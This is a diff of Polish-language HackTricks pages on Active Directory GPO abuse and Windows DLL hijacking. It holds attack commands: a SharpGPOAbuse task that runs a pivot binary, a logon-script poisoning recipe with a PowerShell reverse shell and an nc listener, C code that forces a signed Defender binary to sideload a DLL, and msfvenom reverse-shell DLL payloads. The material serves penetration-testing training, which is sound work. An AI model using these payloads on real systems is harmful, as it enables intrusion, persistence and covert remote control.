.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Install Updates" --Author NT AUTHORITY\SYSTEM --Command "cmd.exe" --Arguments "/c \\dc-2\software\pivot.exe" --GPOName "PowerShell Logging"
|
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Install Updates" --Author NT AUTHORITY\SYSTEM --Command "cmd.exe" --Arguments "/c \\dc-2\software\pivot.exe" --GPOName "PowerShell Logging"
|
||||||
```
|
```
|
||||||
### Force Policy Update
|
### Wymuś aktualizację zasad
|
||||||
|
|
||||||
Aktualizacje GPO zwykle odbywają się co około 90 minut. Aby przyspieszyć ten proces, szczególnie po wprowadzeniu zmiany, na docelowym komputerze można użyć polecenia `gpupdate /force`, aby wymusić natychmiastową aktualizację zasad. To polecenie zapewnia, że wszelkie modyfikacje GPO zostaną zastosowane bez oczekiwania na następny cykl automatycznej aktualizacji.
|
Aktualizacje GPO zazwyczaj odbywają się co około 90 minut. Aby przyspieszyć ten proces, szczególnie po wprowadzeniu zmiany, można użyć polecenia `gpupdate /force` na komputerze docelowym, aby wymusić natychmiastową aktualizację zasad. To polecenie zapewnia zastosowanie wszelkich modyfikacji GPO bez oczekiwania na kolejny automatyczny cykl aktualizacji.
|
||||||
|
|
||||||
### Under the Hood
|
### Zajrzyj pod maskę
|
||||||
|
|
||||||
Po sprawdzeniu Scheduled Tasks dla danego GPO, takiego jak `Misconfigured Policy`, można potwierdzić dodanie zadań takich jak `evilTask`. Zadania te są tworzone za pomocą skryptów lub narzędzi wiersza poleceń mających na celu modyfikację zachowania systemu lub eskalację uprawnień.
|
Po sprawdzeniu zaplanowanych zadań dla danego GPO, takiego jak `Misconfigured Policy`, można potwierdzić dodanie zadań takich jak `evilTask`. Zadania te są tworzone za pomocą skryptów lub narzędzi wiersza poleceń, mających na celu modyfikację zachowania systemu lub eskalację uprawnień.
|
||||||
|
|
||||||
Struktura zadania, przedstawiona w pliku konfiguracyjnym XML wygenerowanym przez `New-GPOImmediateTask`, określa szczegóły zaplanowanego zadania — w tym polecenie do wykonania i jego wyzwalacze. Ten plik pokazuje, jak Scheduled Tasks są definiowane i zarządzane w GPO, dostarczając sposób na wykonywanie dowolnych poleceń lub skryptów w ramach egzekwowania zasad.
|
Struktura zadania, przedstawiona w pliku konfiguracyjnym XML wygenerowanym przez `New-GPOImmediateTask`, określa szczegóły zaplanowanego zadania — w tym polecenie do wykonania oraz jego wyzwalacze. Ten plik pokazuje, jak zadania zaplanowane są definiowane i zarządzane w ramach GPO, dostarczając mechanizmu do wykonywania dowolnych poleceń lub skryptów jako części egzekwowania polityk.
|
||||||
|
|
||||||
### Users and Groups
|
### Użytkownicy i grupy
|
||||||
|
|
||||||
GPO umożliwiają również manipulowanie członkostwem użytkowników i grup na systemach docelowych. Poprzez bezpośrednie edytowanie plików polityki Users and Groups atakujący mogą dodawać użytkowników do grup uprzywilejowanych, takich jak lokalna grupa `administrators`. Jest to możliwe dzięki delegacji uprawnień do zarządzania GPO, która pozwala na modyfikowanie plików polityki w celu dodania nowych użytkowników lub zmiany członkostw w grupach.
|
GPOs umożliwiają również manipulację członkostwem użytkowników i grup na systemach docelowych. Poprzez bezpośrednią edycję plików polityk Users and Groups, atakujący mogą dodawać użytkowników do uprzywilejowanych grup, takich jak lokalna grupa `administrators`. Jest to możliwe dzięki delegacji uprawnień do zarządzania GPO, która pozwala na modyfikowanie plików polityk w celu dodania nowych użytkowników lub zmiany członkostwa w grupach.
|
||||||
|
|
||||||
Plik konfiguracyjny XML dla Users and Groups opisuje, jak te zmiany są wdrażane. Dodając wpisy do tego pliku, konkretnym użytkownikom można przyznać podwyższone uprawnienia na objętych systemach. Ta metoda oferuje bezpośrednie podejście do eskalacji uprawnień poprzez manipulację GPO.
|
Plik konfiguracyjny XML dla Users and Groups opisuje, jak te zmiany są wdrażane. Poprzez dodanie wpisów do tego pliku, konkretnym użytkownikom można nadać podwyższone uprawnienia na objętych systemach. Ta metoda oferuje bezpośrednie podejście do eskalacji uprawnień poprzez manipulację GPO.
|
||||||
|
|
||||||
Ponadto można rozważyć dodatkowe metody wykonywania kodu lub utrzymywania persistence, takie jak wykorzystanie skryptów logon/logoff, modyfikowanie kluczy rejestru dla autoruns, instalowanie oprogramowania za pomocą plików .msi lub edytowanie konfiguracji usług. Techniki te zapewniają różne sposoby utrzymania dostępu i kontroli nad systemami docelowymi poprzez nadużycie GPO.
|
Ponadto można rozważyć dodatkowe metody wykonywania kodu lub utrzymywania trwałego dostępu, takie jak wykorzystanie skryptów logon/logoff, modyfikacja kluczy rejestru odpowiedzialnych za autoruns, instalowanie oprogramowania za pomocą plików .msi lub edycja konfiguracji usług. Techniki te zapewniają różne sposoby utrzymania dostępu i kontroli nad systemami docelowymi poprzez nadużycie GPO.
|
||||||
|
|
||||||
## References
|
## SYSVOL/NETLOGON Logon Script Poisoning
|
||||||
|
|
||||||
|
Ścieżki z prawami zapisu pod `\\<dc>\SYSVOL\<domain>\scripts\` lub `\\<dc>\NETLOGON\` umożliwiają manipulację skryptami logowania uruchamianymi przy logowaniu użytkownika przez GPO. Pozwala to na wykonanie kodu w kontekście bezpieczeństwa logujących się użytkowników.
|
||||||
|
|
||||||
|
### Zlokalizuj skrypty logowania
|
||||||
|
- Sprawdź atrybuty użytkownika pod kątem skonfigurowanego skryptu logowania:
|
||||||
|
```powershell
|
||||||
|
Get-DomainUser -Identity <user> -Properties scriptPath, scriptpath
|
||||||
|
```
|
||||||
|
- Przeszukaj udziały domeny, aby ujawnić skróty lub odniesienia do skryptów:
|
||||||
|
```bash
|
||||||
|
# NetExec spider (authenticated)
|
||||||
|
netexec smb <dc_fqdn> -u <user> -p <pass> -M spider_plus
|
||||||
|
```
|
||||||
|
- Parsuj pliki `.lnk`, aby określić cele wskazujące na SYSVOL/NETLOGON (przydatny trik DFIR i dla atakujących bez bezpośredniego dostępu do GPO):
|
||||||
|
```bash
|
||||||
|
# LnkParse3
|
||||||
|
lnkparse login.vbs.lnk
|
||||||
|
# Example target revealed:
|
||||||
|
# C:\Windows\SYSVOL\sysvol\<domain>\scripts\login.vbs
|
||||||
|
```
|
||||||
|
- BloodHound wyświetla atrybut `logonScript` (scriptPath) na węzłach użytkowników, jeśli jest obecny.
|
||||||
|
|
||||||
|
### Weryfikuj dostęp do zapisu (nie ufaj informacjom o udostępnieniach)
|
||||||
|
Automatyczne narzędzia mogą pokazywać SYSVOL/NETLOGON jako tylko do odczytu, jednak leżące poniżej NTFS ACLs mogą nadal umożliwiać zapis. Zawsze testuj:
|
||||||
|
```bash
|
||||||
|
# Interactive write test
|
||||||
|
smbclient \\<dc>\SYSVOL -U <user>%<pass>
|
||||||
|
smb: \\> cd <domain>\scripts\
|
||||||
|
smb: \\<domain>\scripts\\> put smallfile.txt login.vbs # check size/time change
|
||||||
|
```
|
||||||
|
Jeśli rozmiar pliku lub mtime ulegnie zmianie, masz uprawnienia do zapisu. Zachowaj oryginały przed modyfikacją.
|
||||||
|
|
||||||
|
### Poison a VBScript logon script for RCE
|
||||||
|
Dołącz polecenie uruchamiające PowerShell reverse shell (wygeneruj z revshells.com) i zachowaj oryginalną logikę, aby nie przerwać funkcji biznesowych:
|
||||||
|
```vb
|
||||||
|
' At top of login.vbs
|
||||||
|
Set cmdshell = CreateObject("Wscript.Shell")
|
||||||
|
cmdshell.run "powershell -e <BASE64_PAYLOAD>"
|
||||||
|
|
||||||
|
' Existing mappings remain
|
||||||
|
MapNetworkShare "\\\\<dc_fqdn>\\apps", "V"
|
||||||
|
MapNetworkShare "\\\\<dc_fqdn>\\docs", "L"
|
||||||
|
```
|
||||||
|
Nasłuchuj na hoście i poczekaj na następne interaktywne logowanie:
|
||||||
|
```bash
|
||||||
|
rlwrap -cAr nc -lnvp 443
|
||||||
|
```
|
||||||
|
Uwagi:
|
||||||
|
- Wykonanie odbywa się przy użyciu tokenu zalogowanego użytkownika (nie SYSTEM). Zakres działania to link GPO (OU, site, domain) stosujący ten skrypt.
|
||||||
|
- Wykonaj czyszczenie, przywracając oryginalną zawartość i znaczniki czasu po użyciu.
|
||||||
|
|
||||||
|
|
||||||
|
## Referencje
|
||||||
|
|
||||||
- [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces)
|
- [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces)
|
||||||
- [https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)
|
- [https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)
|
||||||
@ -187,5 +283,9 @@ Ponadto można rozważyć dodatkowe metody wykonywania kodu lub utrzymywania per
|
|||||||
- [https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/](https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/)
|
- [https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/](https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/)
|
||||||
- [https://adsecurity.org/?p=3658](https://adsecurity.org/?p=3658)
|
- [https://adsecurity.org/?p=3658](https://adsecurity.org/?p=3658)
|
||||||
- [https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryaccessrule.-ctor?view=netframework-4.7.2#System_DirectoryServices_ActiveDirectoryAccessRule\_\_ctor_System_Security_Principal_IdentityReference_System_DirectoryServices_ActiveDirectoryRights_System_Security_AccessControl_AccessControlType\_](https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryaccessrule.-ctor?view=netframework-4.7.2#System_DirectoryServices_ActiveDirectoryAccessRule__ctor_System_Security_Principal_IdentityReference_System_DirectoryServices_ActiveDirectoryRights_System_Security_AccessControl_AccessControlType_)
|
- [https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryaccessrule.-ctor?view=netframework-4.7.2#System_DirectoryServices_ActiveDirectoryAccessRule\_\_ctor_System_Security_Principal_IdentityReference_System_DirectoryServices_ActiveDirectoryRights_System_Security_AccessControl_AccessControlType\_](https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryaccessrule.-ctor?view=netframework-4.7.2#System_DirectoryServices_ActiveDirectoryAccessRule__ctor_System_Security_Principal_IdentityReference_System_DirectoryServices_ActiveDirectoryRights_System_Security_AccessControl_AccessControlType_)
|
||||||
|
- [https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryaccessrule.-ctor?view=netframework-4.7.2#System_DirectoryServices_ActiveDirectoryAccessRule__ctor_System_Security_Principal_IdentityReference_System_DirectoryServices_ActiveDirectoryRights_System_Security_AccessControl_AccessControlType_](https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryaccessrule.-ctor?view=netframework-4.7.2#System_DirectoryServices_ActiveDirectoryAccessRule__ctor_System_Security_Principal_IdentityReference_System_DirectoryServices_ActiveDirectoryRights_System_Security_AccessControl_AccessControlType_)
|
||||||
|
- [BloodyAD – AD attribute/UAC operations from Linux](https://github.com/CravateRouge/bloodyAD)
|
||||||
|
- [Samba – net rpc (group membership)](https://www.samba.org/)
|
||||||
|
- [HTB Puppy: AD ACL abuse, KeePassXC Argon2 cracking, and DPAPI decryption to DC admin](https://0xdf.gitlab.io/2025/09/27/htb-puppy.html)
|
||||||
|
|
||||||
{{#include ../../../banners/hacktricks-training.md}}
|
{{#include ../../../banners/hacktricks-training.md}}
|
||||||
|
@ -1,320 +0,0 @@
|
|||||||
# Dll Hijacking
|
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
## Podstawowe informacje
|
|
||||||
|
|
||||||
DLL Hijacking polega na zmanipulowaniu zaufanej aplikacji, aby załadowała złośliwy DLL. Termin ten obejmuje kilka taktyk, takich jak **DLL Spoofing, Injection, and Side-Loading**. Jest głównie wykorzystywany do wykonania kodu, uzyskania utrzymania dostępu (persistence) i, rzadziej, eskalacji uprawnień. Pomimo skupienia się tutaj na eskalacji, metoda hijackingu pozostaje taka sama niezależnie od celu.
|
|
||||||
|
|
||||||
### Typowe techniki
|
|
||||||
|
|
||||||
Stosuje się kilka metod DLL hijackingu; ich skuteczność zależy od strategii ładowania DLL przez aplikację:
|
|
||||||
|
|
||||||
1. **DLL Replacement**: Podmiana prawdziwego DLL na złośliwy, opcjonalnie z użyciem DLL Proxying, aby zachować oryginalną funkcjonalność.
|
|
||||||
2. **DLL Search Order Hijacking**: Umieszczenie złośliwego DLL w ścieżce przeszukiwania przed oryginalnym, wykorzystując wzorzec wyszukiwania aplikacji.
|
|
||||||
3. **Phantom DLL Hijacking**: Utworzenie złośliwego DLL, który aplikacja załaduje, myśląc, że to brakujący wymagany DLL.
|
|
||||||
4. **DLL Redirection**: Modyfikacja parametrów wyszukiwania, takich jak %PATH% lub pliki .exe.manifest / .exe.local, aby skierować aplikację do złośliwego DLL.
|
|
||||||
5. **WinSxS DLL Replacement**: Zastąpienie prawidłowego DLL złośliwym w katalogu WinSxS, metoda często związana z DLL side-loading.
|
|
||||||
6. **Relative Path DLL Hijacking**: Umieszczenie złośliwego DLL w katalogu kontrolowanym przez użytkownika razem ze skopiowaną aplikacją, przypominające techniki Binary Proxy Execution.
|
|
||||||
|
|
||||||
## Znajdowanie brakujących DLL
|
|
||||||
|
|
||||||
Najczęstszym sposobem na znalezienie brakujących DLL w systemie jest uruchomienie [procmon](https://docs.microsoft.com/en-us/sysinternals/downloads/procmon) z sysinternals, i **ustawienie** **następujących 2 filtrów**:
|
|
||||||
|
|
||||||
.png>)
|
|
||||||
|
|
||||||
.png>)
|
|
||||||
|
|
||||||
a następnie wyświetlenie tylko **File System Activity**:
|
|
||||||
|
|
||||||
.png>)
|
|
||||||
|
|
||||||
Jeśli szukasz **brakujących dlli ogólnie**, pozostaw to działające przez kilka **sekund**.\
|
|
||||||
Jeśli szukasz **brakującego DLL w konkretnym pliku wykonywalnym**, powinieneś ustawić dodatkowy filtr, na przykład "Process Name" "contains" "\<exec name>", uruchomić go i zatrzymać przechwytywanie zdarzeń.
|
|
||||||
|
|
||||||
## Wykorzystywanie brakujących DLL
|
|
||||||
|
|
||||||
Aby eskalować uprawnienia, najlepszą szansą jest móc **zapisac DLL, który proces z wyższymi uprawnieniami spróbuje załadować** w jednym z **miejsc, gdzie będzie on przeszukiwany**. W efekcie możemy **zapisac** DLL w **folderze**, gdzie **DLL jest przeszukiwany przed** folderem zawierającym **oryginalny DLL** (dziwny przypadek), lub zapisać go w folderze, gdzie DLL będzie przeszukiwany, a oryginalny **DLL nie istnieje** w żadnym folderze.
|
|
||||||
|
|
||||||
### Dll Search Order
|
|
||||||
|
|
||||||
**Inside the** [**Microsoft documentation**](https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order#factors-that-affect-searching) **you can find how the Dlls are loaded specifically.**
|
|
||||||
|
|
||||||
Aplikacje Windows szukają DLL, podążając za zestawem **predefiniowanych ścieżek wyszukiwania**, w określonej kolejności. Problem DLL hijackingu pojawia się, gdy złośliwy DLL zostanie umieszczony strategicznie w jednym z tych katalogów, zapewniając, że zostanie załadowany przed autentycznym DLL. Rozwiązaniem jest upewnienie się, że aplikacja używa ścieżek absolutnych przy odwoływaniu się do wymaganych DLL.
|
|
||||||
|
|
||||||
Poniżej widać **kolejność wyszukiwania DLL w systemach 32-bitowych**:
|
|
||||||
|
|
||||||
1. The directory from which the application loaded.
|
|
||||||
2. The system directory. Use the [**GetSystemDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getsystemdirectorya) function to get the path of this directory.(_C:\Windows\System32_)
|
|
||||||
3. The 16-bit system directory. There is no function that obtains the path of this directory, but it is searched. (_C:\Windows\System_)
|
|
||||||
4. The Windows directory. Use the [**GetWindowsDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getwindowsdirectorya) function to get the path of this directory.
|
|
||||||
1. (_C:\Windows_)
|
|
||||||
5. The current directory.
|
|
||||||
6. The directories that are listed in the PATH environment variable. Note that this does not include the per-application path specified by the **App Paths** registry key. The **App Paths** key is not used when computing the DLL search path.
|
|
||||||
|
|
||||||
To jest **domyślna** kolejność wyszukiwania z włączonym **SafeDllSearchMode**. Gdy jest wyłączona, bieżący katalog awansuje na drugą pozycję. Aby wyłączyć tę funkcję, utwórz wartość rejestru **HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager**\\**SafeDllSearchMode** i ustaw ją na 0 (domyślnie jest włączona).
|
|
||||||
|
|
||||||
Jeśli funkcja [**LoadLibraryEx**](https://docs.microsoft.com/en-us/windows/desktop/api/LibLoaderAPI/nf-libloaderapi-loadlibraryexa) jest wywołana z flagą **LOAD_WITH_ALTERED_SEARCH_PATH**, wyszukiwanie zaczyna się w katalogu modułu wykonywalnego, który **LoadLibraryEx** ładuje.
|
|
||||||
|
|
||||||
Na koniec, pamiętaj, że **DLL może być ładowany podając pełną ścieżkę zamiast tylko nazwy**. W takim przypadku ten DLL będzie **wyszukiwany tylko w tej ścieżce** (jeśli DLL ma zależności, będą one wyszukiwane tak, jakby były ładowane po nazwie).
|
|
||||||
|
|
||||||
Istnieją inne sposoby na zmianę kolejności wyszukiwania, ale nie będę ich tu wyjaśniać.
|
|
||||||
|
|
||||||
### Forcing sideloading via RTL_USER_PROCESS_PARAMETERS.DllPath
|
|
||||||
|
|
||||||
Zaawansowany sposób deterministycznego wpływania na ścieżkę wyszukiwania DLL nowo tworzonego procesu polega na ustawieniu pola DllPath w RTL_USER_PROCESS_PARAMETERS podczas tworzenia procesu za pomocą natywnych API ntdll. Dostarczając tutaj katalog kontrolowany przez atakującego, proces docelowy, który rozwiązuje importowany DLL po nazwie (bez ścieżki absolutnej i bez użycia bezpiecznych flag ładowania), może zostać zmuszony do załadowania złośliwego DLL z tego katalogu.
|
|
||||||
|
|
||||||
Key idea
|
|
||||||
- Build the process parameters with RtlCreateProcessParametersEx and provide a custom DllPath that points to your controlled folder (e.g., the directory where your dropper/unpacker lives).
|
|
||||||
- Create the process with RtlCreateUserProcess. When the target binary resolves a DLL by name, the loader will consult this supplied DllPath during resolution, enabling reliable sideloading even when the malicious DLL is not colocated with the target EXE.
|
|
||||||
|
|
||||||
Notes/limitations
|
|
||||||
- This affects the child process being created; it is different from SetDllDirectory, which affects the current process only.
|
|
||||||
- The target must import or LoadLibrary a DLL by name (no absolute path and not using LOAD_LIBRARY_SEARCH_SYSTEM32/SetDefaultDllDirectories).
|
|
||||||
- KnownDLLs and hardcoded absolute paths cannot be hijacked. Forwarded exports and SxS may change precedence.
|
|
||||||
|
|
||||||
Minimal C example (ntdll, wide strings, simplified error handling):
|
|
||||||
```c
|
|
||||||
#include <windows.h>
|
|
||||||
#include <winternl.h>
|
|
||||||
#pragma comment(lib, "ntdll.lib")
|
|
||||||
|
|
||||||
// Prototype (not in winternl.h in older SDKs)
|
|
||||||
typedef NTSTATUS (NTAPI *RtlCreateProcessParametersEx_t)(
|
|
||||||
PRTL_USER_PROCESS_PARAMETERS *pProcessParameters,
|
|
||||||
PUNICODE_STRING ImagePathName,
|
|
||||||
PUNICODE_STRING DllPath,
|
|
||||||
PUNICODE_STRING CurrentDirectory,
|
|
||||||
PUNICODE_STRING CommandLine,
|
|
||||||
PVOID Environment,
|
|
||||||
PUNICODE_STRING WindowTitle,
|
|
||||||
PUNICODE_STRING DesktopInfo,
|
|
||||||
PUNICODE_STRING ShellInfo,
|
|
||||||
PUNICODE_STRING RuntimeData,
|
|
||||||
ULONG Flags
|
|
||||||
);
|
|
||||||
|
|
||||||
typedef NTSTATUS (NTAPI *RtlCreateUserProcess_t)(
|
|
||||||
PUNICODE_STRING NtImagePathName,
|
|
||||||
ULONG Attributes,
|
|
||||||
PRTL_USER_PROCESS_PARAMETERS ProcessParameters,
|
|
||||||
PSECURITY_DESCRIPTOR ProcessSecurityDescriptor,
|
|
||||||
PSECURITY_DESCRIPTOR ThreadSecurityDescriptor,
|
|
||||||
HANDLE ParentProcess,
|
|
||||||
BOOLEAN InheritHandles,
|
|
||||||
HANDLE DebugPort,
|
|
||||||
HANDLE ExceptionPort,
|
|
||||||
PRTL_USER_PROCESS_INFORMATION ProcessInformation
|
|
||||||
);
|
|
||||||
|
|
||||||
static void DirFromModule(HMODULE h, wchar_t *out, DWORD cch) {
|
|
||||||
DWORD n = GetModuleFileNameW(h, out, cch);
|
|
||||||
for (DWORD i=n; i>0; --i) if (out[i-1] == L'\\') { out[i-1] = 0; break; }
|
|
||||||
}
|
|
||||||
|
|
||||||
int wmain(void) {
|
|
||||||
// Target Microsoft-signed, DLL-hijackable binary (example)
|
|
||||||
const wchar_t *image = L"\\??\\C:\\Program Files\\Windows Defender Advanced Threat Protection\\SenseSampleUploader.exe";
|
|
||||||
|
|
||||||
// Build custom DllPath = directory of our current module (e.g., the unpacked archive)
|
|
||||||
wchar_t dllDir[MAX_PATH];
|
|
||||||
DirFromModule(GetModuleHandleW(NULL), dllDir, MAX_PATH);
|
|
||||||
|
|
||||||
UNICODE_STRING uImage, uCmd, uDllPath, uCurDir;
|
|
||||||
RtlInitUnicodeString(&uImage, image);
|
|
||||||
RtlInitUnicodeString(&uCmd, L"\"C:\\Program Files\\Windows Defender Advanced Threat Protection\\SenseSampleUploader.exe\"");
|
|
||||||
RtlInitUnicodeString(&uDllPath, dllDir); // Attacker-controlled directory
|
|
||||||
RtlInitUnicodeString(&uCurDir, dllDir);
|
|
||||||
|
|
||||||
RtlCreateProcessParametersEx_t pRtlCreateProcessParametersEx =
|
|
||||||
(RtlCreateProcessParametersEx_t)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "RtlCreateProcessParametersEx");
|
|
||||||
RtlCreateUserProcess_t pRtlCreateUserProcess =
|
|
||||||
(RtlCreateUserProcess_t)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "RtlCreateUserProcess");
|
|
||||||
|
|
||||||
RTL_USER_PROCESS_PARAMETERS *pp = NULL;
|
|
||||||
NTSTATUS st = pRtlCreateProcessParametersEx(&pp, &uImage, &uDllPath, &uCurDir, &uCmd,
|
|
||||||
NULL, NULL, NULL, NULL, NULL, 0);
|
|
||||||
if (st < 0) return 1;
|
|
||||||
|
|
||||||
RTL_USER_PROCESS_INFORMATION pi = {0};
|
|
||||||
st = pRtlCreateUserProcess(&uImage, 0, pp, NULL, NULL, NULL, FALSE, NULL, NULL, &pi);
|
|
||||||
if (st < 0) return 1;
|
|
||||||
|
|
||||||
// Resume main thread etc. if created suspended (not shown here)
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
```
|
|
||||||
Przykład użycia w praktyce
|
|
||||||
- Umieść złośliwy xmllite.dll (eksportujący wymagane funkcje lub działający jako proxy dla prawdziwego) w katalogu DllPath.
|
|
||||||
- Uruchom podpisany plik binarny znany z wyszukiwania xmllite.dll po nazwie przy użyciu powyższej techniki. Loader rozwiązuje import przez podany DllPath i sideloads your DLL.
|
|
||||||
|
|
||||||
This technique has been observed in-the-wild to drive multi-stage sideloading chains: an initial launcher drops a helper DLL, which then spawns a Microsoft-signed, hijackable binary with a custom DllPath to force loading of the attacker’s DLL from a staging directory.
|
|
||||||
|
|
||||||
|
|
||||||
#### Exceptions on dll search order from Windows docs
|
|
||||||
|
|
||||||
W dokumentacji Windows opisano pewne wyjątki od standardowej kolejności wyszukiwania DLL:
|
|
||||||
|
|
||||||
- Gdy napotkano **DLL, który ma taką samą nazwę jak już załadowany w pamięci**, system omija zwykłe wyszukiwanie. Zamiast tego wykonuje sprawdzenie przekierowania i manifestu przed domyślnym użyciem DLL już znajdującego się w pamięci. **W tym scenariuszu system nie przeprowadza wyszukiwania dla tego DLL**.
|
|
||||||
- W przypadkach, gdy DLL jest rozpoznawany jako **known DLL** dla bieżącej wersji Windows, system użyje swojej wersji tego known DLL oraz wszystkich jego zależnych DLL, **pomijając proces wyszukiwania**. Klucz rejestru **HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs** zawiera listę tych known DLL.
|
|
||||||
- Jeśli **DLL ma zależności**, wyszukiwanie tych zależnych DLL przeprowadzane jest tak, jakby były wskazane tylko po ich **nazwach modułów**, niezależnie od tego, czy początkowy DLL był wskazany pełną ścieżką.
|
|
||||||
|
|
||||||
### Eskalacja uprawnień
|
|
||||||
|
|
||||||
**Wymagania**:
|
|
||||||
|
|
||||||
- Zidentyfikuj proces, który działa lub będzie działać z **innymi uprawnieniami** (ruch poziomy lub lateralny), który **nie posiada DLL**.
|
|
||||||
- Upewnij się, że masz **uprawnienia do zapisu** w dowolnym **katalogu**, w którym będzie **wyszukiwany** DLL. Lokalizacja ta może być katalogiem pliku wykonywalnego lub katalogiem w ścieżce systemowej.
|
|
||||||
|
|
||||||
Tak, wymagania są trudne do znalezienia, ponieważ **domyślnie dość rzadko zdarza się znaleźć uprzywilejowany plik wykonywalny bez brakującego DLL** i jeszcze **dziwniejsze jest posiadanie uprawnień zapisu w folderze na ścieżce systemowej** (domyślnie tego nie masz). Jednak w źle skonfigurowanych środowiskach jest to możliwe.\
|
|
||||||
W przypadku, gdy masz szczęście i spełniasz wymagania, możesz sprawdzić projekt [UACME](https://github.com/hfiref0x/UACME). Nawet jeśli **głównym celem projektu jest bypass UAC**, możesz tam znaleźć **PoC** Dll hijacking dla wersji Windows, którego możesz użyć (prawdopodobnie wystarczy zmienić ścieżkę folderu, w którym masz uprawnienia zapisu).
|
|
||||||
|
|
||||||
Zauważ, że możesz **sprawdzić swoje uprawnienia w folderze** wykonując:
|
|
||||||
```bash
|
|
||||||
accesschk.exe -dqv "C:\Python27"
|
|
||||||
icacls "C:\Python27"
|
|
||||||
```
|
|
||||||
I **sprawdź uprawnienia wszystkich folderów w PATH**:
|
|
||||||
```bash
|
|
||||||
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )
|
|
||||||
```
|
|
||||||
Możesz również sprawdzić importy pliku wykonywalnego i eksporty dll za pomocą:
|
|
||||||
```c
|
|
||||||
dumpbin /imports C:\path\Tools\putty\Putty.exe
|
|
||||||
dumpbin /export /path/file.dll
|
|
||||||
```
|
|
||||||
For a full guide on how to **abuse Dll Hijacking to escalate privileges** with permissions to write in a **System Path folder** check:
|
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
|
||||||
dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md
|
|
||||||
{{#endref}}
|
|
||||||
|
|
||||||
### Zautomatyzowane narzędzia
|
|
||||||
|
|
||||||
[**Winpeas** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) sprawdzi, czy masz uprawnienia do zapisu w jakimkolwiek folderze w system PATH.\
|
|
||||||
Inne interesujące zautomatyzowane narzędzia do wykrywania tej luki to **PowerSploit functions**: _Find-ProcessDLLHijack_, _Find-PathDLLHijack_ oraz _Write-HijackDll_.
|
|
||||||
|
|
||||||
### Przykład
|
|
||||||
|
|
||||||
Jeżeli znajdziesz eksploatowalny scenariusz, jedną z najważniejszych rzeczy potrzebnych do pomyślnego wykorzystania będzie **utworzenie dll, która eksportuje przynajmniej wszystkie funkcje, które plik wykonywalny będzie z niej importować**. Zauważ również, że Dll Hijacking jest przydatny do [escalate from Medium Integrity level to High **(bypassing UAC)**](../authentication-credentials-uac-and-efs.md#uac) lub z [**High Integrity to SYSTEM**](#from-high-integrity-to-system). Możesz znaleźć przykład **how to create a valid dll** w tym badaniu dotyczącym dll hijacking ukierunkowanym na wykonanie: [**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows).\
|
|
||||||
Co więcej, w **następnej sekcji** znajdziesz kilka **podstawowych kodów dll**, które mogą być przydatne jako **templates** lub do stworzenia **dll z eksportowanymi nieobowiązkowymi funkcjami**.
|
|
||||||
|
|
||||||
## **Tworzenie i kompilowanie Dlls**
|
|
||||||
|
|
||||||
### **Dll Proxifying**
|
|
||||||
|
|
||||||
Zasadniczo **Dll proxy** to Dll zdolny do **wykonania twojego złośliwego kodu po załadowaniu**, a jednocześnie do **udostępniania** i **działania** zgodnie z oczekiwaniami poprzez **przekazywanie wszystkich wywołań do prawdziwej biblioteki**.
|
|
||||||
|
|
||||||
Za pomocą narzędzia [**DLLirant**](https://github.com/redteamsocietegenerale/DLLirant) lub [**Spartacus**](https://github.com/Accenture/Spartacus) możesz faktycznie **wskazać plik wykonywalny i wybrać bibliotekę**, którą chcesz proxify i **wygenerować proxified dll** lub **wskazać Dll** i **wygenerować proxified dll**.
|
|
||||||
|
|
||||||
### **Meterpreter**
|
|
||||||
|
|
||||||
**Get rev shell (x64):**
|
|
||||||
```bash
|
|
||||||
msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
|
|
||||||
```
|
|
||||||
**Uzyskaj meterpreter (x86):**
|
|
||||||
```bash
|
|
||||||
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
|
|
||||||
```
|
|
||||||
